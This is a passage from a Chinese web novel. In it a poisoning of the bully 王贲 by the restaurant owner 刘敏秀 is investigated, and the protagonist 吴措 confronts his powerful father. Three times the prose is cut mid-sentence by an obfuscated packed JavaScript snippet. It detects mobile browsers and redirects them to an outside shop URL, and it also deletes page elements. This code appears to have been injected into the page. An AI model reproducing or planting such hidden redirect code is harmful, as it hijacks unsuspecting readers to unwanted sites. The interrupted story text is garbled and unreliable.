“爱上我你无需自卑。”老郑油嘴滑舌开着玩笑,又忽然停了停说:“啧,这回没反驳啊。” “反驳什么。” “反驳你喜欢呼延医生啊。”老郑说,“上回怎么说的来着?‘我对她没兴趣~’”老郑阴阳怪气学吴措说话。 吴措没看他,把硬盘连上电脑检查了遍,又顺便做了次备份。 半晌后说:“她有男朋友。” “我靠,吴措你真是不道德。”老郑嗤之以鼻,“不过我支持你。” 吴措回头看他,老郑又说:“毕竟得不到我你已经是人生遗憾了,好不容易喜欢上个姑娘,怎么能顾这种世俗的看法呢。” “傻逼。”吴措把硬盘扔老郑身上。 - 这一整天都没什么动静,平静得让呼延有点慌。 她对王贲算不上了解,但绝对知道这个人小心眼又喜欢玩阴的,如果真拿着棍子大家面对面打一架也就好了,她就怕王贲会做对小院不利的事。 下午她去了宋殊办公室,宋殊说她杞人忧天让她不要打扰她工作,把人赶出来了。 “行行行,等真出了事我看你还能坐不坐得住!” 呼延边说着边从宋殊办公室出来,院子里吴措、八哥和老郑三个人正坐在桃花树下聊天。 “是那个王贲的事吗?”还是老郑喊了一嗓子,把呼延的注意力吸引了过去。 八哥就着呼延给出的星点信息,又从吴措这里得出了另外大半真相,正聊着的时候呼延从宋殊办公室出来了。 呼延走过去,“我总觉得他肯定不会这么善罢甘休。” “我好奇心上来了,到底是个什么人物啊。”老郑问出来。 呼延说:“是个有权有势的小人。” 八哥补充:“他爹生意做得大,枥城的黑白道都熟。” 老郑问:“生意大是有多大。” “这么说吧,枥城最繁华的那条商业街,有一半的铺子是他家的。”八哥说。 老郑笑了出来,“我还当多大呢。” 八哥和呼延同时看向他。 这位,难不成是什么隐形富豪? 老郑又说:“那家一年的营收可能都赶不上我们吴少爷家以前一个月的利息。” 满带着帮吴措孔雀开屏的心思。 八哥和呼延又同时看向吴措。 他们都知道吴措的背景,但这是第一次面对面讨论提及这件事。 吴措向嘴里扔了个腰果,“说少了,一天的利息吧。” “嘶——”呼延嘴里泛出嫉妒的酸水。资本主义的话真刺耳。 “你花钱是不是都不用眨眼睛。”呼延说。 “我不花钱也得眨眼睛。”吴措看着呼延,十分故意地闭了闭眼。 “那你……”八哥欲言又止。 吴措坦荡地看着八哥,“你是想问,我为什么要自己断送这种生活吗?” 八哥也没避讳,点点头。 吴措向后靠在椅子上,一只胳膊搭在椅背上,“我想这么做想了十几年了,做到的时候比花出去任何一分钱都爽。” 院子里还有其他病人在放松唠嗑,吴措他们这一片的氛围沉了下来。 如果吴措只是出于记者职能本分的大义灭亲尚且稍微能好理解一些,但他说出这句话,是对自己的亲爹有多大的仇恨。 呼延最近频频觉得自己好像不太认识吴措了,他究竟是个什么样的人。 老郑开口打破了僵局,“你们就没人想知道他是怎么在众目睽睽下把骰子给换了的吗?” “对啊,怎么做到的,吴措你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吴措回到小院的时候,呼延正帮忙端着一屉包子从厨房走出来,夜宵跟在她后面掂着爪子爬腿要吃的,呼延轻抬了抬蒸屉,“祖宗,你都胖成什么样了,今晚我们轻断食哈。” 吴措走过去,“给猫轻断食,您还有心吗呼延医生?” 呼延都懒得跟他解释猫也会有糖尿病、脂肪肝之流,见他过来直接把蒸屉交到他手上,“你来得正好,我再去找我妈打听下王贲的事,你先把这个送到食堂。” 吴措和脚边的夜宵逗趣,说:“别打听了。” 呼延掐腰瞪他,“你倒是一点不知道担心啊,合着小院不是你家的。你惹完事就开始事不关己了是吧。” 吴措抬抬眼,“随你说吧,回头和我道歉的时候语气诚恳点就行。” “谁要和你道歉。”呼延说。 吴措笑笑,没出结果前他不会贸然领功,于是揪了个包子皮扔在地上,夜宵立马凑上去,舔了一口发现不对,原地不满地哼哼两声离开了。 吴措说:“没谁,反正不是呼延医生您。” “肯定不是我!”呼延扔下话折身离开。 吴措把包子送到食堂,又去厨房偷了个水煮蛋,剥了壳拿出里面的蛋黄哄夜宵,夜宵吃得呼噜噜叫,吴措拿手机拍了张照片。 拍完照片不知怎么就鬼使神差打开微信输了一行字上去,屏幕定格在添加好友的界面,上面显示“该用户不存在”。 这是陆离的微信,他们曾经交换过微信号码,说好出院后保持联系的。 吴措不知道是他记错了号码,还是这个号码已经被注销了。 他熄灭手机,手摸了摸夜宵的脑袋。 听说夜宵是陆离和呼延在晚上去吃夜宵的时候捡的流浪猫,脾气很大,轻易不让人碰。 不知道呼延的那位男朋友是不是也能这样受到夜宵的信任。 吴措抚着夜宵的毛,从脑袋到尾巴□□了一番。 在他起身准备离开时,呼延喘着粗气匆忙跑了过来。 “完了,王贲食物中毒被送去医院抢救了。” 王贲中毒怎么能和“完了”连在一起说。 吴措正疑惑时,呼延又说完了后半句,“毒是刘姐下的。” 28. 善良 “……大概就是这样。其他能查到的资料我邮件转你,不过我还是劝你不要管。” 吴措站在小院门外的街道上听着老郑查到的消息,他的脚荡荡然踢着石路地面上的凸起,一片干巴巴的树叶落在了他的脚前,吴措伸脚踢了一下。已经深秋了。 “不是说王胜天这个人有多不好惹,主要是这回的过错方的确在刘敏秀,就算是介入也十有八九讨不到什么好结果……” “知道了。”吴措收起松散的站姿,“谢谢,挂了。” 收起手机,吴措转身进院子。原本小院今天有个一起做串珠挂链的手工课,因为刘敏秀的事情被临时中断。 王贲是中午送进医院的,刘敏秀是下午被带走的,调查结果还未公示,宋殊找了人打探,只知道王贲情况不轻,一个下午ICU进了三次,全身器官有衰竭的趋势,就算是最后救回来,身体也要垮一大半。 “虽然早就觉得应该有人出来收拾一下那个王霸天了,但没想到这个人竟然是刘姐。”院子椅子不够,路路站在小赵身后说。 小赵点头,“没想到刘姐下手这么狠,而且还是实名下毒,直接在自己做的菜里下的。” 路路:“要我说还不够狠,要真狠心百草枯敌敌畏直接当场给送走了,哪还有后面抢救的事。” 八哥眉头一皱,“我听到的消息是,当时王家正好有医生上门给王胜天检查身体,听到动静赶过去先灌了一大碗盐水催吐,又及时洗胃才让他勉强捡回一条命的。” “那是奔着直接送走下的药啊。”路路又感慨,“也能理解,谁让他三天两头就到店里捣乱。” “刘姐不是这么冲动的人,肯定还有别的事。”呼延坐在几人中间,左手握着右手食指捏得快红了,她忽又抬眼朝向宋殊,“小黄豆呢?” “晚星带着他去楼上画画了。”宋殊说,“行了散了吧,在这说再多也没用,明天呼延你和我一起去警察局问问情况,刘姐在这边的亲戚没几个愿意上门的,现在谁都指望不上,我们再不管,小黄豆可怜了。” 呼延点点头,她其实想今天就去警局问情况的,但宋殊说人刚带走,可能警察那边都还没摸清楚呢,现在过去是在添乱。 八哥起身走了半步又停下来,“封筝问有没有她能帮得上忙的,她有个做刑事辩论的律师朋友。” “不用。”宋殊说,“安心做自己的事,也不用特意提前回来。” 八哥没客套,点头说好,跟着路路几人离开了。 他们走的时候,吴措刚好挂了电话进院子。 “刘姐根本就不是做事这么不管不顾的人,再不济她也会顾念着小黄豆吧。不对,我想起来前不久她过来给小黄豆送饺子的时候好像状态就不太对,不会是……肯定不是!刘姐是不是被陷害了?” “基本上可以肯定是刘敏秀下的毒。”吴措的声音从呼延身后出现。 “先坐吧。”宋殊指了下旁边的椅子示意。 “你刚才和谁打电话了?”呼延转过脖子盯着他,又随着他转到正面,“还有你怎么知道就一定是刘姐。” 院子里的桃树没有结果,稀落落的几簇叶子随着不大的风摇摆,吴措在呼延身旁坐下。 “前几天碰到王贲的时候就让朋友帮着查了下,刚好查到了有关刘敏秀的事,刘敏秀的作案动机还是挺充沛的。” 呼延大脑卡了一下,“刘姐?和王贲?作案动机?” 吴措抿了下嘴唇。 刘敏秀和王贲之间的瓜葛还要拉扯到六年前,和刘敏秀的老公有关。 六年前王贲的化工厂邻着刘敏秀老公陈章的养殖场建立,并且超指标排放废料,几个月的时间养殖场家禽死了一大半,陈章怀疑和化工厂有关,最开始礼礼貌貌去问,但被二话不说打了一顿。 后来陈章搜集了一部分证据去举报,但去哪都是石沉大海没有回信。 又过了两三个月,养殖场家禽基本死光,陈章之前想扩建借的钱也还不上了,说不上是意外还是故意,那天陈章在外面喝多了回家,路过大桥掉下去直接死了。 当时化工厂的负责人正是王贲,出了事身边人给他出主意,王贲找过去低价收购了养殖场,并且成为了刘敏秀家里的新债主。 陈章怕刘敏秀担心一直没告诉她化工厂的事,刘敏秀在很长一段时间都把王贲当成救命的及时雨感恩,直到后来刘敏秀整理陈章遗物的时候,在手机短信里看到了陈章举报化工厂的回执。 但养殖场已经被王贲收购,早期的证据早就被抹得一干二净,化工厂的生产排放也搞上了正规路子,根本无从下手。 刘敏秀自己去举报了几次也彻底无功而返,反倒不知道被谁把消息透露给王贲,自那以后王贲时不时就到刘敏秀饭馆里敲打敲打,让她不要轻举妄动。 “——等一下,这些你是怎么知道的?”呼延举起手来打断,越咂摸越不对劲,“你什么朋友,这么神通广大。” “以前工作认识的。”吴措转了下手机,又抬眼看着呼延,“别的优点没有,就是人脉广,刮目相看了?” 呼延呵一声,“白眼相看。” “你那位朋友有没有打听到刘姐现在情况怎么样?如果罪名成立,判的严重吗?”宋殊问他。 吴措看向宋殊的时候恢复了正经神色,“最后判决还要看王贲最终情况怎么样,这几天我会让我朋友继续跟进一下,有什么新消息第一时间和你们说。” 宋殊点点头,“那就麻烦你了。” “举手之劳。” - 晚饭许多人都没能吃好,从医院内部传来的消息来看,王贲这一天在阎王殿跑也跑了几趟了,人不好往外送,直接从其他城市请了知名医生连夜赶过来,不知道最终能不能捞一条命回来。 整个小院不知情的只有小黄豆一个人,晚饭兰姨特意给小黄豆蒸了碗花蛤鸡蛋羹,八哥把平时限制小黄豆喝的葡萄汁拿了出来。 吃完晚饭后,小黄豆自己去小柜子里拿出装着维生素的瓶子,倒出来吃了两片。 小黄豆一整天都安安静静的,但呼延总感觉他是有知觉的。晚上哄小黄豆睡觉的时候,小黄豆的眼睛一直不肯闭上。 “小黄豆,再不睡觉要长不高了。”呼延蹲在小黄豆的床边念叨。 小黄豆抱着自己的蝴蝶标本盒子,睁眼看着天花板,眼睛都不眨一下。 几年前呼延第一次把小黄豆“捡”回家,他被带回小院这个陌生环境的时候反倒不再叫了,只是紧紧握着自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14524226|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己当时手里的假蜻蜓,扭头盯着墙壁,谁都不去看,谁叫他也不开口。 呼延当时不太清楚这在病理学上是一种什么表现,后来在和小黄豆的朝夕相处中,她发现小黄豆的这种表现和自闭症本身没什么太大的关系。 他有一种“在无济于事时,不再添乱”的自觉。 这和大部分自闭症儿童大都缺乏的情绪感知和同理心十分相悖,呼延发现这一点的时候十分惊讶,但似乎又有着几分合理,她想这应该是从刘敏秀身上遗传下来的。 刘敏秀是个很要强的女人,在她的丈夫去世后她始终没有向娘家求助,也没有把债务转移给婆家分担,只是咬着牙一个人熬到了现在。 在小黄豆住在小院的这几年里,她每个月即使捉襟见肘也要提前至少一天把“寄宿费”交给宋殊,有时宋殊找借口暂时不收,她也会想办法把钱用各种方式留下来。 刘敏秀是个很不愿意麻烦别人的人,但她现在做的这件事,又是个会给别人造成很大麻烦的事。 呼延再次想起那天刘敏秀忽然来到小院,给小黄豆带了一大份羊肉饺子,那时她的话就十分奇怪。 就好像,是在告别和托付。 “小黄豆,睡觉吧。”呼延的手搭在小黄豆的床边,轻一下重一下地拍打着。 小黄豆的眼睛望着天花板看了一眼,然后听话地闭上了。 呼延右手在他眼皮上方晃了两晃确认了下,而后蹑手蹑脚退出了房间。 呼延从小黄豆房间离开,在走廊上遇到了吴措,他正站在走廊尽头抽烟。 这是呼延第一次见到吴措抽烟。 她走过去,吴措很自然地把烟掐灭了,手在空中挥了挥扇掉了大半烟味,回头看着呼延,“小黄豆睡了?” “嗯。” “你打算什么时候告诉他。” “再等等吧。”呼延说,“我不知道你竟然还抽烟。” 吴措抬了抬唇,眼中没多少笑意,“我也快忘了。” 深秋的风凉意明显,呼延的发丝不断地向她的嘴唇上方飘,她干脆把头发挽到了耳后。 “你觉得我有办法能帮一下刘姐吗?”呼延忽然问。 吴措两只胳膊曲着搭倚在窗沿上,头向呼延轻歪了一下,“你怎么谁都想帮一下。” “你觉得我在多管闲事。” “没有。”吴措否认了,他转过身来学着呼延的姿势趴在窗沿上看着夜空中朦胧的月亮,“这不叫多管闲事,这是善良。” 呼延看了他一眼。 吴措又笑了,“不习惯我夸你?” 呼延:“你想多了,除了你其他每个人都夸我。” “那我以后也多夸夸你。”吴措说。 呼延没把这话放在心上,她抬手把另一侧的头发挽到耳后,说:“但多管闲事比袖手旁观难太多了,如果我管不来呢?” “我以为你做事从来不考虑后果。” 呼延叹了口气,“我确实不考虑,但这次留给我杞人忧天的时间太多了,而且这件事太重要了。如果我帮不上忙,那小黄豆怎么办?” “那就帮上忙。” 呼延的视线转向吴措。 吴措看着前方,“我明天陪你一起去。” 29. 良心 鉴于某人的主动请缨以及宋殊一大早收到了吴奶奶的召唤等因素,呼延医生大发慈悲给了吴措一次陪她同行的机会。 这是呼延第一次心甘情愿,甚至有点庆幸和吴措一起单独“出任务”。 她以前因为偏见一直无法做到正视吴措,平心而论,他是一个挺牛的人,虽然大部分时间说的话都让人想打他,但这也掩盖不了他是个有点东西的人这件事。 但呼延对牛人吴措的改观还没持续多久,就迎面遭遇了第一个滑铁卢。 他们赶到警局的时候被通知:案件正在侦查中,除律师外其他人无法进行探视。 吃了个闭门羹,吴措和呼延站在警察局门口面面相觑。 “你不是记者吗?不知道案件调查中不能探视?”呼延说。 “谢谢你知道我是记者,不是上帝。” “昨天说得那么正气凛然,还以为你有多神通广大呢。”呼延从兜里拿出宋殊塞进去的鸡蛋,朝旁边柱子上磕了一下。 吴措看着她的动作,“要不我带你劫狱?” 呼延把剥皮的鸡蛋一口塞进嘴里,含糊道:“行啊,你先劫,我善后。” 吴措嗤了声,“收回我对你‘善良’的评价。” “那我可真是太伤心了。”呼延继续嚼嚼嚼。 太阳升起点角度,陆陆续续有人进出派出所,路过的时候都忍不住打量一番这两人。 ——看着不像是报案的,也不像投案的,氛围神情倒像是要作案的…… “在这待着也不是办法,先走吧。”吴措说。 呼延蹲在地上没动,“我不回去,我现在回去没脸面对小黄豆。” “所以你要在这等着宣判结果是么。” 呼延赖皮:“也不是不行。” “流程至少十天。”吴措胡说的。 呼延“噌”地站了起来,龇牙跺了跺发麻的腿,“我忽然想起来今天要教小黄豆《将进酒》,我们先回去吧!” 吴措无奈笑笑。 怎么什么话都信。 吴措把呼延送回小院,又给自己叫了辆车。 车程的目的地是市医院,王贲住院的医院。 省外紧急调过来的医生确实有些手段,一晚上王贲已经脱离危险,但为了以防万一还是住在重症监护室里,毒中得太深,谁都无法打包票后面不会出现任何问题。 王贲的命悬而未决,刘敏秀的命运就跟着没有定数。 吴措去医院的目的别无其他,他想见一下王胜天。 不管王贲后续病情恶化与否,起诉的权利都攥在王胜天手里。 他不奢望能让刘敏秀得到王胜天的谅解来减刑,但起码不能让他背后助力加刑。 吴措没有在中毒科找到王贲,便猜测他应该是被关照在了顶层的特殊病房里。 那这就麻烦了。 他比任何人都知道这些特权伴随的隐私性和隐蔽性,如果真是这样,那他恐怕很难见到人了。 果不其然,顶层需要特殊权限刷卡才能进入,楼梯是封锁着的,想要进去就只剩从墙外爬进去这一个手段。 吴措站在大厅思索着八楼爬窗的可能性。 倒是挺方便的。 救起来挺方便的,救不过来送负一层也挺方便的。 他正想着的时候,余光中有五六个人从他身侧路过。 几人的装扮很引人注目,站在两侧的几人穿着像是工作服一样统一的黑西装,簇拥着的是一对中年男女,穿着价值不菲,女人带着茶色墨镜看不出神色,男人神情肃敛、不怒自威。 气场强大,纵使没有手动开路,路人也自觉让出一条道来。 几人上了电梯,在电梯门关闭的前一秒,吴措和那个中年男人遥遥对视了一眼。 电梯门关闭,一切恢复正常,吴措从医院走出。 时间还不到中午,他在小摊上打包了一份豆腐锅贴带回了小院。 呼延接过锅贴的时候,说了声谢谢,她对吴措突然消失了一上午的事有所察觉,并且她觉得吴措应该是去办和刘敏秀相关的事了。 她有点想询问进度,但吴措表情并不是很好,呼延便把肚子里的疑问咽了下去。 吴措拎着剩下的锅贴回了自己的房间,他向店家要了保温袋,锅贴还是温热的,他坐在桌前拿出筷子夹了一只锅贴放进嘴里。 下一秒锅贴的汤汁溅到了电脑屏幕上,吴措愣了半秒,用纸巾将汤汁擦干净,然后拨出了电话。 电话打了两次老郑才接,未来几天就是定稿日,老郑估计也忙得晕头转向。 “还没什么新进度呢,有消息我会给你打电话的,我这会儿有篇稿子有问题,你先稍等我一会儿处理完再给你回电话行不?” 吴措嚼着口中的锅贴,听老郑把话说完才开口。 “王胜天就是王铖吗,是么。” 他的疑问句用的是陈述句语气,老郑那头噼里啪啦打字的声音瞬间暂停了。 半晌后老郑说:“是。” 但他又很快补充:“不过这件事确实和傅总没关系,不是我替傅总说话……” “我没问你这么多。”吴措冷声说。 老郑声音顿了顿,“这些年王铖有一部分业务的确是在帮傅总做的,但化工厂是王贲自己包的产业,和王铖没关系,自然也和傅总没关系。王贲甚至不知道傅总的事。” “不愧是北城最厉害的情报王,不愧我父亲这么器重你。” 老郑默声几秒,苦笑说:“你又何必挖苦我呢,我再厉害还不是别人让我做什么我就只能做什么,到头来也只是当个不赚钱的破杂志社社长,兄弟也都没了。” 老郑一直没有提过他如今已经成了那家杂志社的话事人,放在这里说,估计有七八分破罐子破摔的意思。 不过吴措没有和他忆往昔的兴趣,他照旧是平常的语气,“把资料发给我,你能查到的王铖的所有。” 电话挂断。 老郑当年和吴措是最好的搭档,一个靠着人脉搜罗全国各地大大小小的情报,一个事无巨细地跑现场查真相,两人经常互相捧臭脚为丐版夏洛克和华生,最后走到这一步谁也没料到。 吴措更没想到有一天他从老郑这里拿情报,是出于不忿。 不管怎么装作云淡风轻地忽略那件事,他们心里也各自都知道,当初吴措会被困在精神病院四年,老郑脱不了干系。 电话挂断不到一分钟,王铖的资料传了过来。 吴措的鼠标点到下载键的时候,门口传来一声“喵”叫。 他的视线向门外看去,正看到夜宵从呼延怀里跳出来,冲开了半掩的房门大摇大摆跳到了吴措的床上。 “诶夜宵!你——我不是在偷听啊,我只是刚好回房间路过,谁知道夜宵非要进来。”呼延站在门口犹豫了0.1秒,便推开另外半扇门走了进来。 她脚步直奔跳到床上的夜宵,视线朝吴措掠了一眼,“你继续,我什么都没听到。” 夜宵躺在吴措被子上打滚,被呼延一个海底捞月抱了起来。 “我先走了。”呼延抱着夜宵走到门口,然后停住了,“其实我听到了。王铖和你爸什么关系?” 如果说方才还有两分心虚,此时的呼延完全可以用理直气壮来形容,她双手掐着猫的胳肢窝,猫尾像摆钟一样左右晃着。 吴措竖起食指勾了两下,“这么好奇?过来一起看?” 呼延只犹豫了0.01秒,抛下怀里的猫走了过去,“看就看。” 房间里只有一张椅子,呼延坐着吴措就只能站着。 他站在呼延身后,不到十公分的距离,可以看到呼延的发旋,在很正中央的位置,顺时针旋转,疏密度刚刚好。 “等一下,这是21世纪发生的事吗?两条人命就只值20万?” 呼延看到一半突然回头,吴措的视线不留痕迹地落在了电脑屏幕上。 “这个世界的角落里,多的是不公平的事。”吴措凉凉望了下文档里的那段文字。 ‘赵乾坤的两个小弟为了给老大报仇,偷偷潜入傅惟矿场埋雷,炸死了两个地下作业的工人。后傅惟给予工人家属每人10万共计20万抚恤金,其家属未再追究此事。’ 这件事是王铖和傅惟利益绑定的关键点。 十年前,王铖还只是傅惟手里一个矿场的包工头,但因为思维和手段拔群,傅惟早有要提拔他的意思。 不过没多久,因为一笔款项惹上了当地的另一个地头蛇赵乾坤,王铖被赵乾坤派人打了一顿,甚至还被切了一根大拇指。 傅惟得知后找人把赵乾坤的腿打残了,又给了一箱子钱把人送了回去。 再后来就是上面看到的那样,赵乾坤的小弟气不过报复,傅惟再次花钱摆平了。 从那以后没过多长时间,王铖改名为王胜天回了老家枥城,开始在各个产业崭露头角,但没有人知道,那些产业背后真正的老板究竟是谁。 “如果所有的事情都可以用钱来解决,那穷人就彻底失去人权了。” 呼延觉得有些可悲,其实说实话在这个事件里傅惟并不是最大的恶人,他甚至在某些角度下海充当了“拯救者”的角色。 可越是这样,呼延就越觉得很无力。 短短的几行字,两个普通工人的命运被用一次爆炸和20万现金概括。 他们甚至从头到尾没有参与到这场利益和权利的争斗里,只是那些上位者争权夺利和笼络人心的一个经过,但却是这个事件里最大的受害者。 “能得到金钱抚恤,已经是他们当时最好的结局了。他们没有价值,傅惟不会为了两个普通工人再去和赵乾坤起冲突的。” 吴措说得很平静,呼延抬眼看他,“你也是这么觉得的吗?” “不是。” 当然不是。 那时候吴措不到二十岁,傅惟一直把他当作继承人培养自然没打算瞒着他,吴措问出的第一个问题和呼延差不多:“人命是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14538971|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以花钱买到的吗?” 傅惟给的答案让吴措无言相对:“我不给他们钱,难道让他们去和赵乾坤拼命吗?” 在傅惟的视角里,根本没有为这些人真正解决问题这条途径。 吴措说:“所以我后来提交证据的时候,把这件事也报出去了。两名工人家属又额外拿到了54万赔偿。” 看着呼延的眼神,吴措又说:“怎么样,是不是觉得挺讽刺的,到最后,还是钱。” 呼延停了一会儿,摇摇头,“不是。这笔钱是你出于正当的目的为他们争取的,和那20万不一样。” 呼延睁大眼睛,眼角带了点一点红色,吴措垂在腿侧的手指蜷曲了一下。 他抬眉,“这是在夸我?” “是啊。”呼延郑重点头,“做得真好。能做出这种决定,对你来说肯定很不容易吧。” 吴措低头笑了下,他两只胳膊抱起来,看着整个人扭了90度仰头一脸正气看着他的呼延,食指懒散地在肘间敲了敲,“把我当小黄豆哄呢。” 呼延脑袋往后点了下,“不知好歹。” 然后回头继续开始看文档。 吴措嘴边的笑敛住,吐了口气,又慢慢展开。 文档只有六页,吴措了解老郑,更了解傅惟。能在文档里出现的,肯定是傅惟允许他看到的。 足够他拿着去和王铖谈判,又不足以真正能制裁到王铖。 除非借着傅惟的力。 翻到文档最后一页,呼延滚着鼠标滚轮又翻回到第一页,囫囵看了第二遍,然后回头,“怎么办?” “不知道。”吴措说。 “你上次说完了不知道,下一秒就使出了‘无敌老千手’。”呼延已经不信他的“不知道、没把握、没想好”了。 吴措:“你这么看得起我啊。” “是你自己争气!”呼延抬手拍了拍他的胳膊。 吴措的视线落在呼延的手上,又缓缓看向她,“好。” “嗯?” “我去想办法。”吴措说。 呼延“噌”地站起来,更大力地拍在吴措肩膀上,“我就知道没看错你!” 呼延力气不小,吴措眉头皱了下,“这就是你表达感谢的方式吗?” 呼延顺毛捋,“抱歉抱歉,让你打回来。” 伸出胳膊让吴措打。 吴措抬手落下去,快接近呼延胳膊的时候动作缓下来,手指拨了拨呼延的衣袖,“全是猫毛。” 呼延嘿嘿一笑,“这可是你自己不把握机会,那我可走咯。” 说完没给吴措拒绝的机会,拔腿就跑。 走出房门后,呼延难得细心地带上了门。 房间不知道什么时候已经暗下了不少,吴措坐到呼延方才坐着的椅子上,看着门口的方向,很久没动。 太阳彻底落下前,吴措接到了意料之中的电话。 时隔四年,傅惟的声音没有丁点变化。 “明天下午2点。” 一如既往,傅惟把控着所有。 吴措的手紧握在手机上:“你以为我真的会过去?” “明天见。” 傅惟挂了电话。 - 吴措预约的9点的顺风车,一直到9点半都没有出现,吴措打了3个电话过去,对方一直在说自己再接一个人,马上到。 但“马上”了又十分钟,定位还是在绕着圈跑。 在吴措准备取消订单重新约车的时候,一辆车停在他旁边,车窗降下,呼延的脸出现。 “打车吗?帅哥。”呼延食指往下扯了扯墨镜,露出那对圆圆的眼睛。 吴措打字的手慢慢揣进了兜里,低头看着呼延笑了声,“良心发现了?” 呼延一手搭在方向盘上,一手扒着车窗,“是啊,昨晚辗转反侧,觉得就这么把你一个人坑过去实在不仗义,思来想去还是决定舍命陪君子了。” “看在你这么坦诚的份上,我就假装没发现你昨天那通超绝捧杀法,当作你是真心的了。”吴措绕到另一侧坐在了副驾上。 “安全带。”呼延挂档启动,“什么捧杀,昨天的每一句夸奖都是真心的。对了,储物格里的东西你拿一下。” 吴措打开储物格,里面除了一打乱七八糟的文件,上面还放着一个黄色的护身符。 呼延余光瞥过去,“对,就是那个。我昨天帮你求的。” 吴措拿起护身符,看了眼。 “祝你,事事顺意。”呼延说。 吴措把护身符翻过来,又翻回去,看了两遍。 最后看着呼延说:“这上面写的是‘金榜题名’。” 呼延“哦”了一声,“‘事事顺意’那个只有40块的符了,这个才20。都开过光,效果一样。” 吴措后背抵在靠椅上闭了闭眼,“停车,我要回去。” “请乘客坐稳扶好,我们现在出发!”呼延一脚油门踩了下去,车子向着机场飞驰而去。 30. 少来 “先到接待处登记,这位女士一起的?预约过吗?带证件了吗?”监狱人员看向吴措身后的呼延。 “我吗?需要什么证件?身份证吗?”呼延开始摸自己的兜。 吴措在她身前挡了一下,“她不进去。” 监狱人员又看了眼呼延,点了下头,“行,登记完去安全检查,已经通知83742号了。” 流程倒是挺规范,呼延心里想,她还以为会是那种单独的会客厅,大佬穿着黑西装抽雪茄等着他们呢。 “我不用陪你进去吗?”呼延又问了遍。 “你就这么想进去?”吴措做登记的间隙抬头看了呼延一眼。 “这不是怕你一个人害怕么。” “想安慰我?你可以用其他方法。”吴措写完扣上笔帽,直起身。 呼延迟疑半秒,两手交叉挡在胸前,“什么方法?你不会想趁机占我便宜吧!” “法治社会,污蔑人是要坐牢的,呼延医生。”吴措抬下巴指了指旁边墙上写着的“坦白从宽,抗拒从严”横幅。 呼延崩着脸,吴措极快地笑了下,从口袋里掏出那只护身符,“帮我保管一会儿。好不容易求的,别沾了晦气。” 他把护身符放进呼延手里,转身跟着狱警进入了检查室。 - 探监时间估摸着在半小时上下,呼延百无聊赖在屋外等着。 昨晚她和封筝打了个电话,又聊了会儿吴措的事。 封筝和她说,她听到小道消息,吴措的母亲好像就是因为他爸间接去世的。 傅惟为人谨慎,但做起买卖却是很大胆,在吴措母亲去世前的那段时间,两人之间的矛盾已经不仅仅是感情问题了。她看不惯傅惟的行事作风,明里暗里劝了很多次,最后拿带着吴措离开来威胁。 但这些在傅惟看来只是女人的小脾气,哄一哄就好了,他给她买了一屋子的珠宝名包,女人第二天死在了那堆奢侈品的中央。 封筝问,你确定要吴措去见他爸吗?他肯定恨死他了。 呼延一晚没睡,最后从床上翻下去,在抽屉里找出从前宋殊给她求的护身符,连夜开车去了几十公里外的佛寺,拜佛沾了香。 开车去的路上,呼延以为自己最大的心愿一定是能帮到刘姐,但当她真正跪在佛前的时候,她心里只有一个想法。 吴措,对不起。 “喝点水吧。”值班人员的声音打断了呼延的回忆,她接过水说了声谢谢。 今天是常规探监日,但来探监的很少,像她这样等在门外的就更少了。外面除了她以外,就只有一个管记录的警察,姓孙。 呼延三两分钟自来熟地和小孙警官熟络起来,她甚至打听到了小孙还有个外地的女朋友,打算明年结婚。 “那结婚后你女朋友和你一起来晋城吗?”呼延问。 “我和她一起回老家。”小孙说,“大城市也没什么好的。” “你这不是传闻中的铁饭碗么,说不要就不要啦。”呼延八卦起来。 “什么铁饭碗,还不是那群有钱有势的说什么,我们就得按什么做。不如回家做个小本生意,卖一毛钱就赚一毛钱,也不用看谁眼色。” 小孙明显打开了话匣子,只是呼延还没来得及细问时,房门打开,有人从里面走了出来,小孙立刻噤声,低头对着自己的空文件袋子忙起来。 从门口先出来的是领吴措进去的狱警,紧随其后吴措走了出来。 呼延看了看时间,吴措进去还不到15分钟。 “怎么样了?”呼延迎过去。 吴措冲她扬了扬眉,“饿了吗?先吃饭去。” 呼延想了下,现在如果问进展有点太不近人情了。于是点头,“好。” 临走前又和小孙警官打了个招呼,“祝你和你女朋友一切顺利啊!” 走到门外,吴措看了呼延一眼,“你还真是和谁都能聊两句啊。” “这个没办法,天生亲和力强,就是讨人喜欢。”呼延毫不自谦,又捧一踩一了一番,“不像某人,到哪都是万人嫌。” “那这位讨人喜欢的呼延女士,是打算自己去解决食物问题了?” 识时务者为俊杰,呼延站直挺胸,“在您的地盘当然是听您的。” 吴措带着呼延坐上了公交车,下午三点多,公交车上只有几个遛闲的大爷大妈,聊着家长里短的琐事。 呼延坐在靠窗的位置,下巴抵在窗边看着窗外,“晋城还挺漂亮的。” 吴措的视线擦过她的侧脸看过去,“嗯,秋天是晋城最漂亮的时候。我上学的时候就坐这趟公交,这周边变化挺大的。” 